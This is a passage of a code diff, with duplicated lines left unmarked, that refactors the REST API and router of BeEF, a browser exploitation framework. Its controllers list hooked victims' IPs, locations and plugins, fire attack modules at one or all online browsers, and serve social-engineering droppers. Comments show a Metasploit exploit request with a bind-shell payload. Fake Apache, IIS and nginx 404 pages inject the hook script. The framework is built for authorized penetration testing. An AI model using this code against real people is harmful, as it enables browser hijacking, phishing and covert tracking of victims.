logs = BeEF::Core::Models::Log.where(hooked_browser_id: hb.id)
logs.destroy_all
commands = BeEF::Core::Models::Command.where(:hooked_browser_id => hb.id)
commands.destroy_all
commands = BeEF::Core::Models::Command.where(hooked_browser_id: hb.id)
commands.destroy_all
results = BeEF::Core::Models::Result.where(:hooked_browser_id => hb.id)
results.destroy_all
results = BeEF::Core::Models::Result.where(hooked_browser_id: hb.id)
results.destroy_all
begin
requester = BeEF::Core::Models::Http.where(:hooked_browser_id => hb.id)
requester.destroy_all
rescue => e
#the requester module may not be enabled
end
begin
requester = BeEF::Core::Models::Http.where(hooked_browser_id: hb.id)
requester.destroy_all
rescue StandardError
# @todo why is this error swallowed?
# the requester module may not be enabled
end
begin
xssraysscans = BeEF::Core::Models::Xssraysscan.where(:hooked_browser_id => hb.id)
xssraysscans.destroy_all
begin
xssraysscans = BeEF::Core::Models::Xssraysscan.where(hooked_browser_id: hb.id)
xssraysscans.destroy_all
xssraysdetails = BeEF::Core::Models::Xssraysdetail.where(:hooked_browser_id => hb.id)
xssraysdetails.destroy_all
rescue => e
#the xssraysscan module may not be enabled
end
hb.destroy
end
xssraysdetails = BeEF::Core::Models::Xssraysdetail.where(hooked_browser_id: hb.id)
xssraysdetails.destroy_all
rescue StandardError => e
# @todo why is this error swallowed?
# the xssraysscan module may not be enabled
end
hb.destroy
end
#
# @note returns all zombies
@@ -99,7 +99,6 @@ module BeEF
output.to_json
end
#
# @note this is basically the same call as /api/hooks, but returns different data structured in arrays rather than objects.
# Useful if you need to query the API via jQuery.dataTable < 1.10 which is currently used in PhishingFrenzy
@@ -108,7 +107,7 @@ module BeEF
online_hooks = hbs_to_array(BeEF::Core::Models::HookedBrowser.where('lastseen >= ?', (Time.new.to_i - 15)))
output = {
'aaData' => online_hooks
'aaData' => online_hooks
}
output.to_json
end
@@ -121,7 +120,7 @@ module BeEF
offline_hooks = hbs_to_array(BeEF::Core::Models::HookedBrowser.where('lastseen <= ?', (Time.new.to_i - 15)))
output = {
'aaData' => offline_hooks
'aaData' => offline_hooks
}
output.to_json
end
@@ -130,10 +129,10 @@ module BeEF
# @note Get all the hooked browser details (plugins enabled, technologies enabled, cookies)
#
get '/:session' do
hb = BeEF::Core::Models::HookedBrowser.where(:session => params[:session]).first
error 401 unless hb != nil
hb = BeEF::Core::Models::HookedBrowser.where(session: params[:session]).first
error 401 if hb.nil?
details = BeEF::Core::Models::BrowserDetails.where(:session_id => hb.session)
details = BeEF::Core::Models::BrowserDetails.where(session_id: hb.session)
result = {}
details.each do |property|
result[property.detail_key] = property.detail_value
@@ -149,28 +148,28 @@ module BeEF
os_version = body['os_version']
arch = body['arch']
hb = BeEF::Core::Models::HookedBrowser.where(:session => params[:session]).first
error 401 unless hb != nil
hb = BeEF::Core::Models::HookedBrowser.where(session: params[:session]).first
error 401 if hb.nil?
BeEF::Core::Models::BrowserDetails.where(:session_id => hb.session, :detail_key => 'host.os.name').destroy
BeEF::Core::Models::BrowserDetails.where(:session_id => hb.session, :detail_key => 'host.os.version').destroy
#BeEF::Core::Models::BrowserDetails.first(:session_id => hb.session, :detail_key => 'Arch').destroy
BeEF::Core::Models::BrowserDetails.where(session_id: hb.session, detail_key: 'host.os.name').destroy
BeEF::Core::Models::BrowserDetails.where(session_id: hb.session, detail_key: 'host.os.version').destroy
# BeEF::Core::Models::BrowserDetails.first(:session_id => hb.session, :detail_key => 'Arch').destroy
BeEF::Core::Models::BrowserDetails.create(:session_id => hb.session, :detail_key => 'host.os.name', :detail_value => os)
BeEF::Core::Models::BrowserDetails.create(:session_id => hb.session, :detail_key => 'host.os.version', :detail_value => os_version)
BeEF::Core::Models::BrowserDetails.create(:session_id => hb.session, :detail_key => 'Arch', :detail_value => arch)
BeEF::Core::Models::BrowserDetails.create(session_id: hb.session, detail_key: 'host.os.name', detail_value: os)
BeEF::Core::Models::BrowserDetails.create(session_id: hb.session, detail_key: 'host.os.version', detail_value: os_version)
BeEF::Core::Models::BrowserDetails.create(session_id: hb.session, detail_key: 'Arch', detail_value: arch)
# TODO if there where any ARE rules defined for this hooked browser,
# TODO: if there where any ARE rules defined for this hooked browser,
# after updating OS/arch, force a retrigger of the rule.
{'success' => true}.to_json
{ 'success' => true }.to_json
end
def hb_to_json(hbs)
hbs_hash = {}
i = 0
hbs.each do |hb|
hbs_hash[i] = (get_hb_details(hb))
i+=1
hbs_hash[i] = get_hb_details(hb)
i += 1
end
hbs_hash
end
@@ -179,24 +178,24 @@ module BeEF
details = BeEF::Core::Models::BrowserDetails
{
'id' => hb.id,
'session' => hb.session,
'name' => details.get(hb.session, 'browser.name'),
'version' => details.get(hb.session, 'browser.version'),
'platform' => details.get(hb.session, 'browser.platform'),
'os' => details.get(hb.session, 'host.os.name'),
'os_version' => details.get(hb.session, 'host.os.version'),
'hardware' => details.get(hb.session, 'hardware.type'),
'ip' => hb.ip,
'domain' => details.get(hb.session, 'browser.window.hostname'),
'port' => hb.port.to_s,
'page_uri' => details.get(hb.session, 'browser.window.uri'),
'firstseen' => hb.firstseen,
'lastseen' => hb.lastseen,
'date_stamp' => details.get(hb.session, 'browser.date.datestamp'),
'city' => details.get(hb.session, 'location.city'),
'country' => details.get(hb.session, 'location.country'),
'country_code' => details.get(hb.session, 'location.country.isocode'),
'id' => hb.id,
'session' => hb.session,
'name' => details.get(hb.session, 'browser.name'),
'version' => details.get(hb.session, 'browser.version'),
'platform' => details.get(hb.session, 'browser.platform'),
'os' => details.get(hb.session, 'host.os.name'),
'os_version' => details.get(hb.session, 'host.os.version'),
'hardware' => details.get(hb.session, 'hardware.type'),
'ip' => hb.ip,
'domain' => details.get(hb.session, 'browser.window.hostname'),
'port' => hb.port.to_s,
'page_uri' => details.get(hb.session, 'browser.window.uri'),
'firstseen' => hb.firstseen,
'lastseen' => hb.lastseen,
'date_stamp' => details.get(hb.session, 'browser.date.datestamp'),
'city' => details.get(hb.session, 'location.city'),
'country' => details.get(hb.session, 'location.country'),
'country_code' => details.get(hb.session, 'location.country.isocode')
}
end
@@ -205,32 +204,32 @@ module BeEF
hooked_browsers = []
hbs.each do |hb|
details = BeEF::Core::Models::BrowserDetails
# TODO jQuery.dataTables needs fixed array indexes, add emptry string if a value is blank
# @todo what does the below TODO comment mean? why do we care about the client side view inside a controller?
# TODO: jQuery.dataTables needs fixed array indexes, add emptry string if a value is blank
pfuid = details.get(hb.session, 'PhishingFrenzyUID') != nil ? details.get(hb.session, 'PhishingFrenzyUID') : 'n/a'
bname = details.get(hb.session, 'browser.name') != nil ? details.get(hb.session, 'browser.name') : 'n/a'
bversion = details.get(hb.session, 'browser.version') != nil ? details.get(hb.session, 'browser.version') : 'n/a'
bplugins = details.get(hb.session, 'browser.plugins') != nil ? details.get(hb.session, 'browser.plugins') : 'n/a'
pfuid = details.get(hb.session, 'PhishingFrenzyUID').nil? ? 'n/a' : details.get(hb.session, 'PhishingFrenzyUID')
bname = details.get(hb.session, 'browser.name').nil? ? 'n/a' : details.get(hb.session, 'browser.name')
bversion = details.get(hb.session, 'browser.version').nil? ? 'n/a' : details.get(hb.session, 'browser.version')
bplugins = details.get(hb.session, 'browser.plugins').nil? ? 'n/a' : details.get(hb.session, 'browser.plugins')
hooked_browsers << [
hb.id,
hb.ip,
pfuid,
bname,
bversion,
details.get(hb.session, 'host.os.name'),
details.get(hb.session, 'browser.platform'),
details.get(hb.session, 'browser.language'),
bplugins,
details.get(hb.session, 'location.city'),
details.get(hb.session, 'location.country'),
details.get(hb.session, 'location.latitude'),
details.get(hb.session, 'location.longitude')
hb.id,
hb.ip,
pfuid,
bname,
bversion,
details.get(hb.session, 'host.os.name'),
details.get(hb.session, 'browser.platform'),
details.get(hb.session, 'browser.language'),
bplugins,
details.get(hb.session, 'location.city'),
details.get(hb.session, 'location.country'),
details.get(hb.session, 'location.latitude'),
details.get(hb.session, 'location.longitude')
]
end
hooked_browsers
end
end
end
end

View File

@@ -8,12 +8,11 @@ module BeEF
module Core
module Rest
class Logs < BeEF::Core::Router::Router
config = BeEF::Core::Configuration.instance
before do
error 401 unless params[:token] == config.get('beef.api_token')
halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip)
headers 'Content-Type' => 'application/json; charset=UTF-8',
'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
@@ -33,10 +32,10 @@ module BeEF
#
get '/rss' do
logs = BeEF::Core::Models::Log.all
headers 'Content-Type' => 'text/xml; charset=UTF-8',
'Pragma' => 'no-cache',
headers 'Content-Type' => 'text/xml; charset=UTF-8',
'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0'
'Expires' => '0'
logs_to_rss logs
end
@@ -44,10 +43,10 @@ module BeEF
# @note Get hooked browser logs
#
get '/:session' do
hb = BeEF::Core::Models::HookedBrowser.where(:session => params[:session]).first
error 401 unless hb != nil
hb = BeEF::Core::Models::HookedBrowser.where(session: params[:session]).first
error 401 if hb.nil?
logs = BeEF::Core::Models::Log.where(:hooked_browser_id => hb.id)
logs = BeEF::Core::Models::Log.where(hooked_browser_id: hb.id)
logs_to_json(logs)
end
@@ -59,19 +58,20 @@ module BeEF
logs.each do |log|
logs_json << {
'id' => log.id.to_i,
'date' => log.date.to_s,
'event' => log.event.to_s,
'logtype' => log.logtype.to_s,
'hooked_browser_id' => log.hooked_browser_id.to_s
'id' => log.id.to_i,
'date' => log.date.to_s,
'event' => log.event.to_s,
'logtype' => log.logtype.to_s,
'hooked_browser_id' => log.hooked_browser_id.to_s
}
end
{
unless logs_json.empty?
{
'logs_count' => count,
'logs' => logs_json
}.to_json if not logs_json.empty?
}.to_json
end
end
def logs_to_rss(logs)
@@ -91,7 +91,6 @@ module BeEF
end
rss.to_s
end
end
end
end

View File

@@ -8,12 +8,11 @@ module BeEF
module Core
module Rest
class Modules < BeEF::Core::Router::Router
config = BeEF::Core::Configuration.instance
before do
error 401 unless params[:token] == config.get('beef.api_token')
halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip)
headers 'Content-Type' => 'application/json; charset=UTF-8',
'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
@@ -30,24 +29,23 @@ module BeEF
i = 0
mods.each do |mod|
modk = BeEF::Module.get_key_by_database_id(mod.id)
next if !BeEF::Module.is_enabled(modk)
next unless BeEF::Module.is_enabled(modk)
mods_hash[i] = {
'id' => mod.id,
'class' => config.get("beef.module.#{modk}.class"),
'name' => config.get("beef.module.#{modk}.name"),
'category' => config.get("beef.module.#{modk}.category")
'id' => mod.id,
'class' => config.get("beef.module.#{modk}.class"),
'name' => config.get("beef.module.#{modk}.name"),
'category' => config.get("beef.module.#{modk}.category")
}
i+=1
i += 1
end
mods_hash.to_json
end
get '/search/:mod_name' do
mod = BeEF::Core::Models::CommandModule.where(:name => params[:mod_name]).first
mod = BeEF::Core::Models::CommandModule.where(name: params[:mod_name]).first
result = {}
if mod != nil
result = {'id' => mod.id}
end
result = { 'id' => mod.id } unless mod.nil?
result.to_json
end
@@ -56,47 +54,47 @@ module BeEF
#
get '/:mod_id' do
cmd = BeEF::Core::Models::CommandModule.find(params[:mod_id])
error 404 unless cmd != nil
error 404 if cmd.nil?
modk = BeEF::Module.get_key_by_database_id(params[:mod_id])
error 404 unless modk != nil
error 404 if modk.nil?
#todo check if it's possible to also retrieve the TARGETS supported
# TODO: check if it's possible to also retrieve the TARGETS supported
{
'name' => cmd.name,
'description' => config.get("beef.module.#{cmd.name}.description"),
'category'=> config.get("beef.module.#{cmd.name}.category"),
'options' => BeEF::Module.get_options(modk) #todo => get also payload options..get_payload_options(modk,text)
'name' => cmd.name,
'description' => config.get("beef.module.#{cmd.name}.description"),
'category' => config.get("beef.module.#{cmd.name}.category"),
'options' => BeEF::Module.get_options(modk) # TODO: => get also payload options..get_payload_options(modk,text)
}.to_json
end
# @note Get the module result for the specific executed command
#
# Example with the Alert Dialog
#GET /api/modules/wiJCKAJybcB6aXZZOj31UmQKhbKXY63aNBeODl9kvkIuYLmYTooeGeRD7Xn39x8zOChcUReM3Bt7K0xj/86/1?token=0a931a461d08b86bfee40df987aad7e9cfdeb050 HTTP/1.1
#Host: 127.0.0.1:3000
# GET /api/modules/wiJCKAJybcB6aXZZOj31UmQKhbKXY63aNBeODl9kvkIuYLmYTooeGeRD7Xn39x8zOChcUReM3Bt7K0xj/86/1?token=0a931a461d08b86bfee40df987aad7e9cfdeb050 HTTP/1.1
# Host: 127.0.0.1:3000
#===response (snip)===
#HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8
# HTTP/1.1 200 OK
# Content-Type: application/json; charset=UTF-8
#
#{"date":"1331637093","data":"{\"data\":\"text=michele\"}"}
# {"date":"1331637093","data":"{\"data\":\"text=michele\"}"}
#
get '/:session/:mod_id/:cmd_id' do
hb = BeEF::Core::Models::HookedBrowser.where(:session => params[:session]).first
error 401 unless hb != nil
cmd = BeEF::Core::Models::Command.where(:hooked_browser_id => hb.id,
:command_module_id => params[:mod_id], :id => params[:cmd_id]).first
error 404 unless cmd != nil
results = BeEF::Core::Models::Result.where(:hooked_browser_id => hb.id, :command_id => cmd.id)
error 404 unless results != nil
hb = BeEF::Core::Models::HookedBrowser.where(session: params[:session]).first
error 401 if hb.nil?
cmd = BeEF::Core::Models::Command.where(hooked_browser_id: hb.id,
command_module_id: params[:mod_id], id: params[:cmd_id]).first
error 404 if cmd.nil?
results = BeEF::Core::Models::Result.where(hooked_browser_id: hb.id, command_id: cmd.id)
error 404 if results.nil?
results_hash = {}
i = 0
results.each do |result|
results_hash[i] = {
'date' => result.date,
'data' => result.data
'date' => result.date,
'data' => result.data
}
i+=1
i += 1
end
results_hash.to_json
end
@@ -107,56 +105,56 @@ module BeEF
# Input must be specified in JSON format
#
# +++ Example with the Alert Dialog: +++
#POST /api/modules/wiJCKAJybcB6aXZZOj31UmQKhbKXY63aNBeODl9kvkIuYLmYTooeGeRD7Xn39x8zOChcUReM3Bt7K0xj/86?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
#Host: 127.0.0.1:3000
#Content-Type: application/json; charset=UTF-8
#Content-Length: 18
# POST /api/modules/wiJCKAJybcB6aXZZOj31UmQKhbKXY63aNBeODl9kvkIuYLmYTooeGeRD7Xn39x8zOChcUReM3Bt7K0xj/86?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
# Host: 127.0.0.1:3000
# Content-Type: application/json; charset=UTF-8
# Content-Length: 18
#
#{"text":"michele"}
# {"text":"michele"}
#===response (snip)===
#HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8
#Content-Length: 35
# HTTP/1.1 200 OK
# Content-Type: application/json; charset=UTF-8
# Content-Length: 35
#
#{"success":"true","command_id":"1"}
# {"success":"true","command_id":"1"}
#
# +++ Example with a Metasploit module (Adobe FlateDecode Stream Predictor 02 Integer Overflow) +++
# +++ note that in this case we cannot query BeEF/Metasploit if module execution was successful or not.
# +++ this is why there is "command_id":"not_available" in the response
#POST /api/modules/wiJCKAJybcB6aXZZOj31UmQKhbKXY63aNBeODl9kvkIuYLmYTooeGeRD7Xn39x8zOChcUReM3Bt7K0xj/236?token=83f13036060fd7d92440432dd9a9b5e5648f8d75 HTTP/1.1
#Host: 127.0.0.1:3000
#Content-Type: application/json; charset=UTF-8
#Content-Length: 81
# POST /api/modules/wiJCKAJybcB6aXZZOj31UmQKhbKXY63aNBeODl9kvkIuYLmYTooeGeRD7Xn39x8zOChcUReM3Bt7K0xj/236?token=83f13036060fd7d92440432dd9a9b5e5648f8d75 HTTP/1.1
# Host: 127.0.0.1:3000
# Content-Type: application/json; charset=UTF-8
# Content-Length: 81
#
#{"SRVPORT":"3992", "URIPATH":"77345345345dg", "PAYLOAD":"generic/shell_bind_tcp"}
# {"SRVPORT":"3992", "URIPATH":"77345345345dg", "PAYLOAD":"generic/shell_bind_tcp"}
#===response (snip)===
#HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8
#Content-Length: 35
# HTTP/1.1 200 OK
# Content-Type: application/json; charset=UTF-8
# Content-Length: 35
#
#{"success":"true","command_id":"not_available"}
# {"success":"true","command_id":"not_available"}
#
post '/:session/:mod_id' do
hb = BeEF::Core::Models::HookedBrowser.where(:session => params[:session]).first
error 401 unless hb != nil
hb = BeEF::Core::Models::HookedBrowser.where(session: params[:session]).first
error 401 if hb.nil?
modk = BeEF::Module.get_key_by_database_id(params[:mod_id])
error 404 unless modk != nil
error 404 if modk.nil?
request.body.rewind
begin
data = JSON.parse request.body.read
options = []
data.each{|k,v| options.push({'name' => k, 'value' => v})}
data.each { |k, v| options.push({ 'name' => k, 'value' => v }) }
exec_results = BeEF::Module.execute(modk, params[:session], options)
exec_results != nil ? '{"success":"true","command_id":"'+exec_results.to_s+'"}' : '{"success":"false"}'
rescue => e
exec_results.nil? ? '{"success":"false"}' : '{"success":"true","command_id":"' + exec_results.to_s + '"}'
rescue StandardError
print_error "Invalid JSON input for module '#{params[:mod_id]}'"
error 400 # Bad Request
end
end
#
#@note Fire a new command module to multiple hooked browsers.
# @note Fire a new command module to multiple hooked browsers.
# Returns the command IDs of the launched module, or 0 if firing got issues.
# Use "hb_ids":["ALL"] to run on all hooked browsers
# Use "hb_ids":["ALL_ONLINE"] to run on all hooked browsers currently online
@@ -174,7 +172,7 @@ module BeEF
#
# curl example (alert module with custom text, 2 hooked browsers)):
#
#curl -H "Content-Type: application/json; charset=UTF-8" -d '{"mod_id":110,"mod_params":{"text":"mucci?"},"hb_ids":[1,2]}'
# curl -H "Content-Type: application/json; charset=UTF-8" -d '{"mod_id":110,"mod_params":{"text":"mucci?"},"hb_ids":[1,2]}'
#-X POST http://127.0.0.1:3000/api/modules/multi_browser?token=2316d82702b83a293e2d46a0886a003a6be0a633
#
post '/multi_browser' do
@@ -182,34 +180,35 @@ module BeEF
begin
body = JSON.parse request.body.read
modk = BeEF::Module.get_key_by_database_id body["mod_id"]
error 404 unless modk != nil
modk = BeEF::Module.get_key_by_database_id body['mod_id']
error 404 if modk.nil?
mod_params = []
if body["mod_params"] != nil
body["mod_params"].each{|k,v|
mod_params.push({'name' => k, 'value' => v})
}
unless body['mod_params'].nil?
body['mod_params'].each do |k, v|
mod_params.push({ 'name' => k, 'value' => v })
end
end
hb_ids = body["hb_ids"]
results = Hash.new
hb_ids = body['hb_ids']
results = {}
# run on all hooked browsers currently online?
if hb_ids.first =~ /\Aall_online\z/i
hb_ids = []
BeEF::Core::Models::HookedBrowser.where(
:lastseen.gte => (Time.new.to_i - 15)).each {|hb| hb_ids << hb.id }
:lastseen.gte => (Time.new.to_i - 15)
).each { |hb| hb_ids << hb.id }
# run on all hooked browsers?
elsif hb_ids.first =~ /\Aall\z/i
hb_ids = []
BeEF::Core::Models::HookedBrowser.all.each {|hb| hb_ids << hb.id }
BeEF::Core::Models::HookedBrowser.all.each { |hb| hb_ids << hb.id }
end
# run modules
hb_ids.each do |hb_id|
hb = BeEF::Core::Models::HookedBrowser.find(hb_id)
if hb == nil
if hb.nil?
results[hb_id] = 0
next
else
@@ -218,8 +217,8 @@ module BeEF
end
end
results.to_json
rescue => e
print_error "Invalid JSON input passed to endpoint /api/modules/multi_browser"
rescue StandardError
print_error 'Invalid JSON input passed to endpoint /api/modules/multi_browser'
error 400 # Bad Request
end
end
@@ -228,7 +227,7 @@ module BeEF
# Returns the command IDs of the launched modules, or 0 if firing got issues.
#
# POST request body example (for modules that don't need parameters, just pass an empty JSON object like {} )
#{ "hb":"vkIwVV3ok5i5vH2f8sxlkoaKqAGKCbZXdWqE9vkHNFBhI8aBBHvtZAGRO2XqFZXxThBlmKlRiVwPeAzj",
# { "hb":"vkIwVV3ok5i5vH2f8sxlkoaKqAGKCbZXdWqE9vkHNFBhI8aBBHvtZAGRO2XqFZXxThBlmKlRiVwPeAzj",
# "modules": [
# { # test_return_long_string module with custom input
# "mod_id":99,
@@ -248,7 +247,7 @@ module BeEF
#
# curl example (test_return_long_string and prompt_dialog module with custom inputs)):
#
#curl -H "Content-Type: application/json; charset=UTF-8" -d '{"hb":"vkIwVV3ok5i5vH2f8sxlkoaKqAGKCbZXdWqE9vkHNFBhI8aBBHvtZAGRO2XqFZXxThBlmKlRiVwPeAzj",
# curl -H "Content-Type: application/json; charset=UTF-8" -d '{"hb":"vkIwVV3ok5i5vH2f8sxlkoaKqAGKCbZXdWqE9vkHNFBhI8aBBHvtZAGRO2XqFZXxThBlmKlRiVwPeAzj",
# "modules":[{"mod_id":99,"mod_input":[{"repeat":"10"},{"repeat_string":"ABCDE"}]},{"mod_id":116,"mod_input":[{"question":"hooked?"}]},{"mod_id":128,"mod_input":[]}]}'
# -X POST http://127.0.0.1:3000/api/modules/multi_module?token=e640483ae9bca2eb904f003f27dd4bc83936eb92
#
@@ -256,32 +255,32 @@ module BeEF
request.body.rewind
begin
body = JSON.parse request.body.read
hb = BeEF::Core::Models::HookedBrowser.where(:session => body["hb"]).first
error 401 unless hb != nil
hb = BeEF::Core::Models::HookedBrowser.where(session: body['hb']).first
error 401 if hb.nil?
results = Hash.new
if body["modules"] != nil
body["modules"].each{|mod|
mod_id = mod["mod_id"]
mod_k = BeEF::Module.get_key_by_database_id mod["mod_id"]
if mod_k == nil
results = {}
unless body['modules'].nil?
body['modules'].each do |mod|
mod_id = mod['mod_id']
mod_k = BeEF::Module.get_key_by_database_id mod['mod_id']
if mod_k.nil?
results[mod_id] = 0
next
else
mod_params = []
mod["mod_input"].each{|input|
input.each{|k,v|
mod_params.push({'name' => k, 'value' => v})
}
}
mod['mod_input'].each do |input|
input.each do |k, v|
mod_params.push({ 'name' => k, 'value' => v })
end
end
cmd_id = BeEF::Module.execute(mod_k, hb.session, mod_params)
results[mod_id] = cmd_id
end
}
end
end
results.to_json
rescue => e
print_error "Invalid JSON input passed to endpoint /api/modules/multi"
rescue StandardError
print_error 'Invalid JSON input passed to endpoint /api/modules/multi'
error 400 # Bad Request
end
end

View File

@@ -8,20 +8,18 @@ module BeEF
module Core
module Rest
class Server < BeEF::Core::Router::Router
config = BeEF::Core::Configuration.instance
http_server = BeEF::Core::Server.instance
before do
error 401 unless params[:token] == config.get('beef.api_token')
halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip)
headers 'Content-Type' => 'application/json; charset=UTF-8',
'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0'
end
# @note Binds a local file to a specified path in BeEF's web server
# Note: 'local_file' expects a file from the /extensions/social_engineering/droppers directory.
# Example usage:
@@ -35,17 +33,17 @@ module BeEF
mount = data['mount']
local_file = data['local_file']
droppers_dir = File.expand_path('..', __FILE__) + "/../../../../extensions/social_engineering/droppers/"
droppers_dir = "#{File.expand_path(__dir__)}/../../../../extensions/social_engineering/droppers/"
if File.exists?(droppers_dir + local_file) && Dir.entries(droppers_dir).include?(local_file)
f_ext = File.extname(local_file).gsub('.','')
if File.exist?(droppers_dir + local_file) && Dir.entries(droppers_dir).include?(local_file)
f_ext = File.extname(local_file).gsub('.', '')
f_ext = nil if f_ext.empty?
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind("/extensions/social_engineering/droppers/#{local_file}", mount, f_ext)
status 200
else
halt 400
end
rescue => e
rescue StandardError
error 400
end
end

View File

@@ -6,7 +6,6 @@
module BeEF
module Core
module Router
module RegisterRouterHandler
def self.mount_handler(server)
server.mount('/', BeEF::Core::Router::Router.new)
@@ -14,7 +13,6 @@ module BeEF
end
BeEF::API::Registrar.instance.register(BeEF::Core::Router::RegisterRouterHandler, BeEF::API::Server, 'mount_handler')
end
end
end

View File

@@ -1,68 +1,66 @@
module BeEF
module Core
module Router
config = BeEF::Core::Configuration.instance
APACHE_HEADER = { "Server" => "Apache/2.2.3 (CentOS)",
"Content-Type" => "text/html; charset=UTF-8" }
APACHE_BODY = "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">" +
"<html><head>" +
"<title>404 Not Found</title>" +
"</head><body>" +
"<h1>Not Found</h1>" +
"<p>The requested URL was not found on this server.</p>" +
"<hr>" +
"<address>Apache/2.2.3 (CentOS)</address>" +
("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_imitation.hook_404")).to_s +
"</body></html>"
IIS_HEADER = {"Server" => "Microsoft-IIS/6.0",
"X-Powered-By" => "ASP.NET",
"Content-Type" => "text/html; charset=UTF-8"}
IIS_BODY = "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\" \"http://www.w3.org/TR/html4/strict.dtd\">" +
"<HTML><HEAD><TITLE>The page cannot be found</TITLE>" +
"<META HTTP-EQUIV=\"Content-Type\" Content=\"text/html; charset=Windows-1252\">" +
"<STYLE type=\"text/css\">" +
" BODY { font: 8pt/12pt verdana } " +
" H1 { font: 13pt/15pt verdana }" +
" H2 { font: 8pt/12pt verdana }" +
" A:link { color: red }" +
" A:visited { color: maroon }" +
"</STYLE>" +
"</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>" +
"<h1>The page cannot be found</h1>" +
"The page you are looking for might have been removed, had its name changed, or is temporarily unavailable." +
"<hr>" +
"<p>Please try the following:</p>" +
"<ul>" +
"<li>Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.</li>" +
"<li>If you reached this page by clicking a link, contact" +
" the Web site administrator to alert them that the link is incorrectly formatted." +
"</li>" +
"<li>Click the <a href=\"javascript:history.back(1)\">Back</a> button to try another link.</li>" +
"</ul>" +
"<h2>HTTP Error 404 - File or directory not found.<br>Internet Information Services (IIS)</h2>" +
"<hr>" +
"<p>Technical Information (for support personnel)</p>" +
"<ul>" +
"<li>Go to <a href=\"http://go.microsoft.com/fwlink/?linkid=8180\">Microsoft Product Support Services</a> and perform a title search for the words <b>HTTP</b> and <b>404</b>.</li>" +
"<li>Open <b>IIS Help</b>, which is accessible in IIS Manager (inetmgr)," +
"and search for topics titled <b>Web Site Setup</b>, <b>Common Administrative Tasks</b>, and <b>About Custom Error Messages</b>.</li>" +
"</ul>" +
"</TD></TR></TABLE>" +
("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_imitation.hook_404")).to_s +
"</BODY></HTML>"
NGINX_HEADER = {"Server" => "nginx",
"Content-Type" => "text/html"}
NGINX_BODY = "<html>\n"+
"<head><title>404 Not Found</title></head>\n" +
"<body bgcolor=\"white\">\n" +
"<center><h1>404 Not Found</h1></center>\n" +
"<hr><center>nginx</center>\n" +
("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_imitation.hook_404")).to_s +
"</body>\n" +
"</html>\n"
APACHE_HEADER = { 'Server' => 'Apache/2.2.3 (CentOS)',
'Content-Type' => 'text/html; charset=UTF-8' }.freeze
APACHE_BODY = '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">' \
'<html><head>' \
'<title>404 Not Found</title>' \
'</head><body>' \
'<h1>Not Found</h1>' \
'<p>The requested URL was not found on this server.</p>' \
'<hr>' \
'<address>Apache/2.2.3 (CentOS)</address>' +
("<script src='#{config.get('beef.http.hook_file')}'></script>" if config.get('beef.http.web_server_imitation.hook_404')).to_s +
'</body></html>'
IIS_HEADER = { 'Server' => 'Microsoft-IIS/6.0',
'X-Powered-By' => 'ASP.NET',
'Content-Type' => 'text/html; charset=UTF-8' }.freeze
IIS_BODY = '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">' \
'<HTML><HEAD><TITLE>The page cannot be found</TITLE>' \
'<META HTTP-EQUIV="Content-Type" Content="text/html; charset=Windows-1252">' \
'<STYLE type="text/css">' \
' BODY { font: 8pt/12pt verdana } ' \
' H1 { font: 13pt/15pt verdana }' \
' H2 { font: 8pt/12pt verdana }' \
' A:link { color: red }' \
' A:visited { color: maroon }' \
'</STYLE>' \
'</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>' \
'<h1>The page cannot be found</h1>' \
'The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.' \
'<hr>' \
'<p>Please try the following:</p>' \
'<ul>' \
'<li>Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.</li>' \
'<li>If you reached this page by clicking a link, contact' \
' the Web site administrator to alert them that the link is incorrectly formatted.' \
'</li>' \
'<li>Click the <a href="javascript:history.back(1)">Back</a> button to try another link.</li>' \
'</ul>' \
'<h2>HTTP Error 404 - File or directory not found.<br>Internet Information Services (IIS)</h2>' \
'<hr>' \
'<p>Technical Information (for support personnel)</p>' \
'<ul>' \
'<li>Go to <a href="http://go.microsoft.com/fwlink/?linkid=8180">Microsoft Product Support Services</a> and perform a title search for the words <b>HTTP</b> and <b>404</b>.</li>' \
'<li>Open <b>IIS Help</b>, which is accessible in IIS Manager (inetmgr),' \
'and search for topics titled <b>Web Site Setup</b>, <b>Common Administrative Tasks</b>, and <b>About Custom Error Messages</b>.</li>' \
'</ul>' \
'</TD></TR></TABLE>' +
("<script src='#{config.get('beef.http.hook_file')}'></script>" if config.get('beef.http.web_server_imitation.hook_404')).to_s +
'</BODY></HTML>'
NGINX_HEADER = { 'Server' => 'nginx',
'Content-Type' => 'text/html' }.freeze
NGINX_BODY = "<html>\n" \
"<head><title>404 Not Found</title></head>\n" \
"<body bgcolor=\"white\">\n" \
"<center><h1>404 Not Found</h1></center>\n" \
"<hr><center>nginx</center>\n" +
("<script src='#{config.get('beef.http.hook_file')}'></script>" if config.get('beef.http.web_server_imitation.hook_404')).to_s +
"</body>\n" \
"</html>\n"
end
end
end

View File

